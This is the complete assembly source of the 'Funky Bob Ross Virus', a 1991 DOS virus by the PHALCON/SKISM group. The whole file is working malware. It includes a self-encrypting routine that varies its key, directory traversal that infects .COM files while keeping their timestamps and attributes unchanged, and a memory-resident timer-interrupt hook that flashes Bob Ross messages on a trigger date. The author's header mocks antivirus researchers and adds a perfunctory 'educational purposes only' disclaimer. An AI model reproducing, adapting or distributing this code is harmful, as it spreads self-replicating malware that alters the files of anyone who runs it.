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Assembly Source File | 1998-01-14 | 21.3 KB | 566 lines

; The Funky Bob Ross Virus Version 1.0 ; Written by Dark Angel / 26 September 1991 / (c) 1991 ; PHALCON/SKISM Co-op ; Effective length: 1125, Resident length: 672 bytes ; ; DEDICATION: ; This virus was written expressedly to ; 1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the ; other guru-wanna-bes in this world. ; 2) Spread the message of The Almighty Bob, and so enrichen the lives ; of people all over the world. ; 3) Show off (Now I can tell people that I wrote a virus!) ; ; WHAT THIS IS: ; This is a self-encrypting, non-overwriting COM infector. It doesn't do ; anything to EXE files. File sizes increase by 1117 bytes. It goes off ; on July 9th of any year or after 7 infection "waves." ; ; WHAT IT DOES WHEN IT GOES OFF: ; The virus goes memory resident and prints out a Bobism every 5 minutes. ; It then enters a delay loop for approximately 5 seconds, allowing for a ; brief moment of silence while the victim reads Bob's holy message. The ; virus will not destroy anything. The virus will not go TSR if it finds ; another copy of itself in memory. ; ; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT. ; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE ; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO ; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE ; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I ; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE. ; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!! CODE SEGMENT PUBLIC 'CODE' ORG 100h ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE DTA_fileattr EQU 21 DTA_filetime EQU 22 DTA_filedate EQU 24 DTA_filesize EQU 26 DTA_filename EQU 30 virus_marker equ 026FFh ; JMP WORD PTR virus_marker2 equ 00104h ; 0104h part1_size equ part1_end - part1_start part2_size equ part2_end - part2_start offset_off equ duh2 init_delay equ 5280 ; Initial delay delay equ 400 ; Subsequent delay num_Messages equ 7 ; Number of Bob messages waves equ 7 ; Number of waves to go off after infec_date equ 0709h ; Date of psychosis Counter equ 108h D_Mess equ 110h Int_08_Start equ 112h part1_start: jmp word ptr duh duh dw middle_part_end - part1_start + 100h duh2 dw 0 part1_end: middle_part_start: middle_part_end: ;============================================================================= ;Part 2 begins: Dis is the D-Cool part ;============================================================================= part2_start: cld call decrypt mov si, offset Go add si, offset_off jmp si encrypt_val db 00h decrypt: encrypt: mov si, offset encrypt_val add si, offset_off mov ah, byte ptr [si] mov cx, offset part2_end - offset bam_bam add si, offset bam_bam - offset encrypt_val mov di, si xor_loop: lodsb ; DS:[SI] -> AL xor al, ah stosb loop xor_loop ret copy_rest_stuff: ; Mah copying routine push si ; SI -> buffer3 call encrypt mov cx, part2_size pop dx add dx, offset part2_start - offset buffer3 mov ah, 40h int 21h call decrypt bam_bam: ret buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0 buffer2 db part1_end - part1_start dup (?) buffer3 dw ? orig_path db 64 dup (?) num_infec db 0 ; Infection wave number infec_now db 0 ; Number files infected this time root_dir db '\',0 com_mask db '*.com',0 dir_mask db '*.*',0 back_dir db '..',0 nest dw 0 DTA db 43 DUP (0) ; For use by infect_dir Go: add si, offset buffer - offset Go mov di, si add di, offset buffer2 - offset buffer mov cx, part1_size rep movsb mov ah, 47h ; Get directory xor dl,dl ; Default drive add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer int 21h ; in orig_path jc Go_Error mov ah, 3Bh ; Change directory mov dx, si ; to the root dir add dx, offset root_dir - offset orig_path int 21h jc Go_Error add si, offset num_infec - offset orig_path inc byte ptr [si] ; New infection wave push si ; Save offset num_infec add si, offset infec_now - offset num_infec mov byte ptr [si], 3 ; Reset infection ; counter to 3 ; for D-new run. call traverse_fcn ; Do all the work pop si ; Restore offset num_infec cmp byte ptr [si], waves ; 10 infection waves? jge Go_Psycho ; If so, activate mov ah, 2Ah ; Get date int 21h cmp dx, infec_date ; Is it 07/09? jz Go_Psycho ; If so, activate Go_Error: jmp quit ; And then quit Go_Psycho: jmp Psycho origattr db 0 origtime dw 0 origdate dw 0 filesize dw 0 ; Size of the uninfected file oldhandle dw 0 ;============================================================================= ;D-Traversal function begins ;============================================================================= traverse_fcn proc near push bp ; Create stack frame mov bp,sp sub sp,44 ; Allocate space for DTA push si jmp infect_directory In_fcn: mov ah,1Ah ;Set DTA lea dx,word ptr [bp-44] ; to space allotted int 21h ;Do it now, do it hard! mov ah, 4Eh ;Find first mov cx,16 ;Directory mask mov dx,offset dir_mask ; *.* add dx,offset_off int 21h jmp short isdirok gonow: cmp byte ptr [bp-14], '.' ;Is first char == '.'? je short donext ; If so, loop again lea dx,word ptr [bp-14] ;else load dirname mov ah,3Bh ; and changedir there int 21h ;Yup, yup jc short donext ; Do next if invalid mov si, offset nest ; Else increment nest add si, offset_off inc word ptr [si] ; nest++ call near ptr traverse_fcn ; recurse directory donext: lea dx,word ptr [bp-44] ;Load space allocated for DTA address mov ah,1Ah ; and set DTA to it int 21h ; 'cause it might have changed mov ah,4Fh ;Find next int 21h isdirok: jnc gonow ;If OK, jmp elsewhere mov si, offset nest add si, offset_off cmp word ptr [si], 0 ;If root directory (nest == 0) jle short cleanup ; Quit dec word ptr [si] ;Else decrement nest mov dx,offset back_dir ;'..' add dx, offset_off mov ah,3Bh ;Change directory int 21h ; to previous one cleanup: pop si mov sp,bp pop bp ret traverse_fcn endp ;============================================================================= ;D-Traversal function ends ;============================================================================= Goto_Error: jmp Error enuff_for_now: ;Set nest to nil mov si, offset nest ; in order to add si, offset_off ; halt the D-Cool mov word ptr [si], 0 ; traversal fcn jmp short cleanup return_to_fcn: jmp short In_fcn ;Return to traversal function infect_directory: mov ah, 1Ah ;Set DTA mov dx, offset DTA ; to DTA struct add dx, offset_off int 21h find_first_COM: mov ah, 04Eh ; Find first file mov cx, 0007h ; Any file mov dx, offset com_mask ; DS:[DX] --> filemask add dx, offset_off int 21h ; Fill DTA (hopefully) jc return_to_fcn ; <Sigh> Error #E421:0.1 jmp check_if_COM_infected ; I<___-Cool! Found one! find_next_file2: mov si, offset infec_now ; Another loop, add si, offset_off ; Another infection dec byte ptr [si] ; Infected three? jz enuff_for_now ; If so, exit find_next_file: mov ah,4Fh ; Find next int 21h jc return_to_fcn check_if_COM_infected: mov si, offset DTA + dta_filename + 6 ; look at 7th letter add si, offset_off cmp byte ptr [si], 'D' ; ??????D.COM? jz find_next_file ; don't kill COMMAND.COM mov ax,3D00h ; Open channel read ONLY mov dx, si ; Offset Pathname in DX sub dx, 6 int 21h ; Open NOW! jc find_next_file ; If error, find another xchg bx,ax ; bx is now handle mov ah,3Fh ; Save mov cx, part1_size ; first part mov dx, offset buffer ; to buffer add dx, offset_off ; to be restored push dx int 21h ; later pop si ; Check for virus ID bytes ; in the buffer push si lodsw ; DS:[SI] -> AX cmp ax, virus_marker ; Compare it jnz infect_it ; infect it if ID #1 not found lodsw ; Check next two bytes cmp ax, virus_marker2 ; Compare it jnz infect_it ; infect if ID #2 not found pop si bomb_out: mov ah, 3Eh ; else close the file int 21h ; and go find another jmp find_next_file ; 'cuz it's already infected Signature db 'PHALCON' ;============================================================================= ;D-Good Stuff - Infection routine ;============================================================================= infect_it: ; save fileattr pop si add si, offset DTA + DTA_fileattr - offset buffer mov di, si add di, offset origattr - offset DTA - DTA_fileattr movsb ; DS:[SI] -> ES:[DI] movsw ; Save origtime movsw ; Save origdate movsw ; Save filesize ; Only need LSW ; because COM files ; can only be up to ; 65535 bytes long cmp word ptr [si - 2], part1_size jl bomb_out ; is less than 8 bytes. do_again: mov ah, 2Ch ; get time int 21h add dl, dh ; 1/100 sec + 1 sec jz do_again ; Don't want orig strain! mov si, offset encrypt_val add si, offset_off mov byte ptr [si], dl ; 255 mutations mov ax, 4301h ; Set file attributes xor cx, cx ; to nothing mov dx, si ; filename in DTA add dx, offset DTA + DTA_filename - offset encrypt_val int 21h ; do it now, my child mov ah, 3Eh ; Close file int 21h ; handle in BX mov ax, 3D02h ; Open file read/write int 21h ; Filename offset in DX jc bomb_out ; Damn! Probs mov di, dx add di, offset oldhandle - offset DTA - DTA_filename ; copy filehandle to ; oldhandle stosw ; AX -> ES:[DI] xchg ax, bx ; file handle in BX now mov ah, 40h ; Write DS:[DX]->file mov cx, part1_size - 4 ; number of bytes mov dx, 0100h ; where code starts int 21h ; (in memory) mov ah, 40h mov si, di ; mov si, offset filesize add si, offset filesize - 2 - offset oldhandle add word ptr [si], 0100h mov cx, 2 mov dx, si int 21h ; write jmp offset mov ax, [si] ; AX = filesize sub ax, 0108h add si, offset buffer3 - offset filesize push si mov word ptr [si], ax mov ah, 40h mov cx, 2 mov dx, si int 21h mov ax, 4202h ; move file ptr xor cx, cx ; from EOF xor dx, dx ; offset cx:dx int 21h call copy_rest_stuff pop si add si, offset oldhandle - offset buffer3 mov bx, word ptr [si] mov ax, 5701h ; Restore add si, offset origtime - offset oldhandle mov cx, word ptr [si] ; old time and add si, 2 mov dx, word ptr [si] ; date int 21h mov ah, 3Eh ; Close file int 21h mov ax, 4301h ; Restore file xor ch, ch add si, offset origattr - offset origtime - 2 mov cl, byte ptr [si] ; attributes mov dx, si ; filename in DTA add dx, offset DTA + DTA_filename - offset origattr int 21h ; do it now jmp find_next_file2 GotoError: jmp error Psycho: ; Check if already installed push es mov byte ptr cs:[100h],0 ; Initialize fingerprint xor bx, bx ; Zero BX for start mov ax, cs Init1: inc bx ; Increment search segment mov es, bx ; value cmp ax, bx ; Not installed if we reach je Not_Installed_Yet ; the current segment mov si, 100h ; Search segment for mov di, si ; fingerprint in first mov cx, 4 ; four bytes repe cmpsb ; Compare jne init1 ; If not equal, try another jmp Quit_Init ; else already installed Not_Installed_Yet: pop es mov word ptr cs:[Counter], init_delay mov word ptr cs:[D_Mess], 1 ; Copy interrupt handler to beginning of code mov si, offset _int_08_handler add si, offset_off mov di, Int_08_Start mov cx, int_end - int_start rep movsb ; DS:[SI]->ES:[DI] mov ax, 3508h ; Get int 8 handler int 21h ; put in ES:BX mov cs:[duh], bx ; Save old handler mov cs:[duh+2], es ; in cs:[104h] mov ax, 2508h ; Install new handler mov dx, Int_08_Start ; from DS:DX int 21h ; Do it push es mov ax, ds:[2Ch] ; Deallocate program mov es, ax ; environment block mov ah, 49h int 21h pop es mov ax, 3100h ; TSR mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4 int 21h int 20h ; In case of error Quit_Init: pop es Error: ; On error, quit Quit: mov ah, 3Bh ; Change directory mov dx, offset root_dir ; to the root dir add dx, offset_off int 21h mov ah,3Bh ; Change directory ; Return to orig dir add dx, offset orig_path - offset root_dir int 21h ; Copy buffer back to beginning of file mov si, dx add si, offset buffer2 - offset orig_path mov di, 0100h mov cx, part1_end - part1_start rep movsb mov di, 0100h jmp di int_start: _int_08_handler proc far push ax push bx push cx push dx push si push ds push es pushf dec word ptr CS:[Counter] ; Counter jnz QuitNow ;ACTIVATION!!! mov word ptr CS:[Counter], delay ; Reset counter ; Set up DS & ES to equal CS push cs pop ds push cs pop es mov si, offset Messages - offset int_start + int_08_start mov cx, cs:D_Mess xor ah, ah LoopY_ThingY: lodsb ; DS:SI -> AL add si, ax ; ES:BP -> Next message to display loop LoopY_ThingY lodsb xchg si, bp xor cx, cx mov cl, al ; Length of string mov ax, 1300h ; mov bx, 0070h ; Page 0, inverse video xor dx, dx ; (0,0) int 10h ; Display ES:BP inc word ptr cs:[D_Mess] cmp word ptr cs:[D_Mess], num_messages jnz Sigh mov word ptr cs:[D_Mess], 1 Sigh: mov cx, 30h Sigh2: push cx mov cx, 0FFFFh DelayX: loop DelayX pop cx loop Sigh2 xchg si, bp QuitNow: popf pop es pop ds pop si pop dx pop cx pop bx pop ax jmp dword ptr CS:duh Messages db 0 db 15, 'Bob Ross lives!' db 21, 'Bob Ross is watching!' db 22, 'Maybe he lives here...' db 26, 'What a happy little cloud!' db 38, 'Maybe he has a neighbour right here...' db 40, 'You can make up stories as you go along.' _int_08_handler endp int_end: part2_end: CODE ends end part1_start